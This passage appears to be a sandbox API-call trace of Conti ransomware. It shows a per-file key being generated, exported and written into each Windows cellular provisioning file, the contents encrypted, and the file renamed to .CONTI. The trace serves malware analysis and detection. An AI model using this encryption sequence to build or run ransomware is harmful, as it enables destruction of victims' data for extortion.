	[0111.497] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\399__Connections_Cellular_MTN South Africa (South Africa)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\399__connections_cellular_mtn south africa (south africa)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\399__Connections_Cellular_MTN South Africa (South Africa)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\399__connections_cellular_mtn south africa (south africa)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0111.498] GetProcessHeap () returned 0x1720000
	[0111.498] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0111.498] CryptDestroyKey (hKey=0x17c8570) returned 1
	[0111.498] GetProcessHeap () returned 0x1720000
	[0111.498] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6574598 | out: hHeap=0x1720000) returned 1
	[0111.498] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c) returned 1
	[0111.498] CryptGenKey (in: hProv=0x174b458, Algid=0x6610, dwFlags=0x1, phKey=0x17f5ff8 | out: phKey=0x17f5ff8*=0x17c8570) returned 1
	[0111.498] CryptExportKey (in: hKey=0x17c8570, hExpKey=0x173a810, dwBlobType=0x1, dwFlags=0x0, pbData=0x17f5ffc, pdwDataLen=0x3a7ff24 | out: pbData=0x17f5ffc*, pdwDataLen=0x3a7ff24*=0x20c) returned 1
	[0111.499] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\39__Connections_Cellular_VELCOM (Belarus)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\39__connections_cellular_velcom (belarus)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0111.499] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\39__Connections_Cellular_VELCOM (Belarus)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\39__connections_cellular_velcom (belarus)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8
	[0111.499] GetLastError () returned 0x0
	[0111.499] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x3a7fed0 | out: lpFileSize=0x3a7fed0*=851) returned 1
	[0111.499] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x353
	[0111.499] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.499] SetEndOfFile (hFile=0x3d8) returned 1
	[0111.499] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.500] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.500] WriteFile (in: hFile=0x3d8, lpBuffer=0x17f5ffc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3a7fedc, lpOverlapped=0x0 | out: lpBuffer=0x17f5ffc*, lpNumberOfBytesWritten=0x3a7fedc*=0x20c, lpOverlapped=0x0) returned 1
	[0111.503] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.503] ReadFile (in: hFile=0x3d8, lpBuffer=0x9370000, nNumberOfBytesToRead=0x353, lpNumberOfBytesRead=0x3a7fefc, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesRead=0x3a7fefc*=0x353, lpOverlapped=0x0) returned 1
	[0111.503] CryptEncrypt (in: hKey=0x17c8570, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x353, dwBufLen=0x500000 | out: pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x360) returned 1
	[0111.503] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.503] WriteFile (in: hFile=0x3d8, lpBuffer=0x9370000*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x3a7ff10, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesWritten=0x3a7ff10*=0x360, lpOverlapped=0x0) returned 1
	[0111.503] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.503] WriteFile (in: hFile=0x3d8, lpBuffer=0x17f5ff0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3a7ff28, lpOverlapped=0x0 | out: lpBuffer=0x17f5ff0*, lpNumberOfBytesWritten=0x3a7ff28*=0x8, lpOverlapped=0x0) returned 1
	[0111.504] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.504] CloseHandle (hObject=0x3d8) returned 1
	[0111.504] GetProcessHeap () returned 0x1720000
	[0111.504] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0111.504] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\39__Connections_Cellular_VELCOM (Belarus)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\39__Connections_Cellular_VELCOM (Belarus)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\39__Connections_Cellular_VELCOM (Belarus)_i0$(__MVID)@WAP.provxml"
	[0111.504] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\39__Connections_Cellular_VELCOM (Belarus)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\39__Connections_Cellular_VELCOM (Belarus)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\39__Connections_Cellular_VELCOM (Belarus)_i0$(__MVID)@WAP.provxml.CONTI"
	[0111.504] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\39__Connections_Cellular_VELCOM (Belarus)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\39__connections_cellular_velcom (belarus)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\39__Connections_Cellular_VELCOM (Belarus)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\39__connections_cellular_velcom (belarus)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0111.505] GetProcessHeap () returned 0x1720000
	[0111.505] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0111.505] CryptDestroyKey (hKey=0x17c8570) returned 1
	[0111.505] GetProcessHeap () returned 0x1720000
	[0111.505] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6573cc8 | out: hHeap=0x1720000) returned 1
	[0111.505] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c) returned 1
	[0111.505] CryptGenKey (in: hProv=0x174b458, Algid=0x6610, dwFlags=0x1, phKey=0x17f8908 | out: phKey=0x17f8908*=0x17c8570) returned 1
	[0111.505] CryptExportKey (in: hKey=0x17c8570, hExpKey=0x173a810, dwBlobType=0x1, dwFlags=0x0, pbData=0x17f890c, pdwDataLen=0x3a7ff24 | out: pbData=0x17f890c*, pdwDataLen=0x3a7ff24*=0x20c) returned 1
	[0111.506] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\3__Connections_Cellular_Wataniya (Algeria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\3__connections_cellular_wataniya (algeria)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0111.506] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\3__Connections_Cellular_Wataniya (Algeria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\3__connections_cellular_wataniya (algeria)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8
	[0111.506] GetLastError () returned 0x0
	[0111.506] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x3a7fed0 | out: lpFileSize=0x3a7fed0*=709) returned 1
	[0111.506] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c5
	[0111.506] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x22f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.506] SetEndOfFile (hFile=0x3d8) returned 1
	[0111.507] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.507] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.507] WriteFile (in: hFile=0x3d8, lpBuffer=0x17f890c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3a7fedc, lpOverlapped=0x0 | out: lpBuffer=0x17f890c*, lpNumberOfBytesWritten=0x3a7fedc*=0x20c, lpOverlapped=0x0) returned 1
	[0111.515] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.515] ReadFile (in: hFile=0x3d8, lpBuffer=0x9370000, nNumberOfBytesToRead=0x2c5, lpNumberOfBytesRead=0x3a7fefc, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesRead=0x3a7fefc*=0x2c5, lpOverlapped=0x0) returned 1
	[0111.515] CryptEncrypt (in: hKey=0x17c8570, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x2c5, dwBufLen=0x500000 | out: pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x2d0) returned 1
	[0111.516] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.516] WriteFile (in: hFile=0x3d8, lpBuffer=0x9370000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x3a7ff10, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesWritten=0x3a7ff10*=0x2d0, lpOverlapped=0x0) returned 1
	[0111.516] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.516] WriteFile (in: hFile=0x3d8, lpBuffer=0x17f8900*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3a7ff28, lpOverlapped=0x0 | out: lpBuffer=0x17f8900*, lpNumberOfBytesWritten=0x3a7ff28*=0x8, lpOverlapped=0x0) returned 1
	[0111.516] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.516] CloseHandle (hObject=0x3d8) returned 1
	[0111.516] GetProcessHeap () returned 0x1720000
	[0111.516] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0111.516] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\3__Connections_Cellular_Wataniya (Algeria)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\3__Connections_Cellular_Wataniya (Algeria)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\3__Connections_Cellular_Wataniya (Algeria)_i0$(__MVID)@WAP.provxml"
	[0111.516] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\3__Connections_Cellular_Wataniya (Algeria)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\3__Connections_Cellular_Wataniya (Algeria)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\3__Connections_Cellular_Wataniya (Algeria)_i0$(__MVID)@WAP.provxml.CONTI"
	[0111.516] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\3__Connections_Cellular_Wataniya (Algeria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\3__connections_cellular_wataniya (algeria)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\3__Connections_Cellular_Wataniya (Algeria)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\3__connections_cellular_wataniya (algeria)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0111.517] GetProcessHeap () returned 0x1720000
	[0111.517] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0111.517] CryptDestroyKey (hKey=0x17c8570) returned 1
	[0111.517] GetProcessHeap () returned 0x1720000
	[0111.517] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6572ff8 | out: hHeap=0x1720000) returned 1
	[0111.517] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c) returned 1
	[0111.517] CryptGenKey (in: hProv=0x174b458, Algid=0x6610, dwFlags=0x1, phKey=0x17f66d0 | out: phKey=0x17f66d0*=0x17c8570) returned 1
	[0111.517] CryptExportKey (in: hKey=0x17c8570, hExpKey=0x173a810, dwBlobType=0x1, dwFlags=0x0, pbData=0x17f66d4, pdwDataLen=0x3a7ff24 | out: pbData=0x17f66d4*, pdwDataLen=0x3a7ff24*=0x20c) returned 1
	[0111.518] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\400__Connections_Cellular_Vodacom SA (South Africa)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\400__connections_cellular_vodacom sa (south africa)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0111.518] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\400__Connections_Cellular_Vodacom SA (South Africa)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\400__connections_cellular_vodacom sa (south africa)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8
	[0111.518] GetLastError () returned 0x0
	[0111.518] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x3a7fed0 | out: lpFileSize=0x3a7fed0*=726) returned 1
	[0111.518] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d6
	[0111.518] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.518] SetEndOfFile (hFile=0x3d8) returned 1
	[0111.519] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.519] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.519] WriteFile (in: hFile=0x3d8, lpBuffer=0x17f66d4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3a7fedc, lpOverlapped=0x0 | out: lpBuffer=0x17f66d4*, lpNumberOfBytesWritten=0x3a7fedc*=0x20c, lpOverlapped=0x0) returned 1
	[0111.522] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.522] ReadFile (in: hFile=0x3d8, lpBuffer=0x9370000, nNumberOfBytesToRead=0x2d6, lpNumberOfBytesRead=0x3a7fefc, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesRead=0x3a7fefc*=0x2d6, lpOverlapped=0x0) returned 1
	[0111.522] CryptEncrypt (in: hKey=0x17c8570, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x2d6, dwBufLen=0x500000 | out: pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x2e0) returned 1
	[0111.522] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.522] WriteFile (in: hFile=0x3d8, lpBuffer=0x9370000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x3a7ff10, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesWritten=0x3a7ff10*=0x2e0, lpOverlapped=0x0) returned 1
	[0111.522] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.522] WriteFile (in: hFile=0x3d8, lpBuffer=0x17f66c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3a7ff28, lpOverlapped=0x0 | out: lpBuffer=0x17f66c8*, lpNumberOfBytesWritten=0x3a7ff28*=0x8, lpOverlapped=0x0) returned 1
	[0111.522] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.522] CloseHandle (hObject=0x3d8) returned 1
	[0111.522] GetProcessHeap () returned 0x1720000
	[0111.522] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0111.522] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\400__Connections_Cellular_Vodacom SA (South Africa)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\400__Connections_Cellular_Vodacom SA (South Africa)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\400__Connections_Cellular_Vodacom SA (South Africa)_i0$(__MVID)@WAP.provxml"
	[0111.522] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\400__Connections_Cellular_Vodacom SA (South Africa)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\400__Connections_Cellular_Vodacom SA (South Africa)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\400__Connections_Cellular_Vodacom SA (South Africa)_i0$(__MVID)@WAP.provxml.CONTI"
	[0111.523] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\400__Connections_Cellular_Vodacom SA (South Africa)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\400__connections_cellular_vodacom sa (south africa)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\400__Connections_Cellular_Vodacom SA (South Africa)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\400__connections_cellular_vodacom sa (south africa)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0111.523] GetProcessHeap () returned 0x1720000
	[0111.523] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0111.523] CryptDestroyKey (hKey=0x17c8570) returned 1
	[0111.523] GetProcessHeap () returned 0x1720000
	[0111.523] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x656dd90 | out: hHeap=0x1720000) returned 1
	[0111.523] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c) returned 1
	[0111.523] CryptGenKey (in: hProv=0x174b458, Algid=0x6610, dwFlags=0x1, phKey=0x17f56d8 | out: phKey=0x17f56d8*=0x17c8570) returned 1
	[0111.524] CryptExportKey (in: hKey=0x17c8570, hExpKey=0x173a810, dwBlobType=0x1, dwFlags=0x0, pbData=0x17f56dc, pdwDataLen=0x3a7ff24 | out: pbData=0x17f56dc*, pdwDataLen=0x3a7ff24*=0x20c) returned 1
	[0111.524] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\401__Connections_Cellular_Vodacom SA (South Africa)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\401__connections_cellular_vodacom sa (south africa)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0111.524] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\401__Connections_Cellular_Vodacom SA (South Africa)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\401__connections_cellular_vodacom sa (south africa)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8
	[0111.525] GetLastError () returned 0x0
	[0111.525] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x3a7fed0 | out: lpFileSize=0x3a7fed0*=716) returned 1
	[0111.525] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cc
	[0111.525] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.525] SetEndOfFile (hFile=0x3d8) returned 1
	[0111.525] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.525] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.525] WriteFile (in: hFile=0x3d8, lpBuffer=0x17f56dc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3a7fedc, lpOverlapped=0x0 | out: lpBuffer=0x17f56dc*, lpNumberOfBytesWritten=0x3a7fedc*=0x20c, lpOverlapped=0x0) returned 1
	[0111.530] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
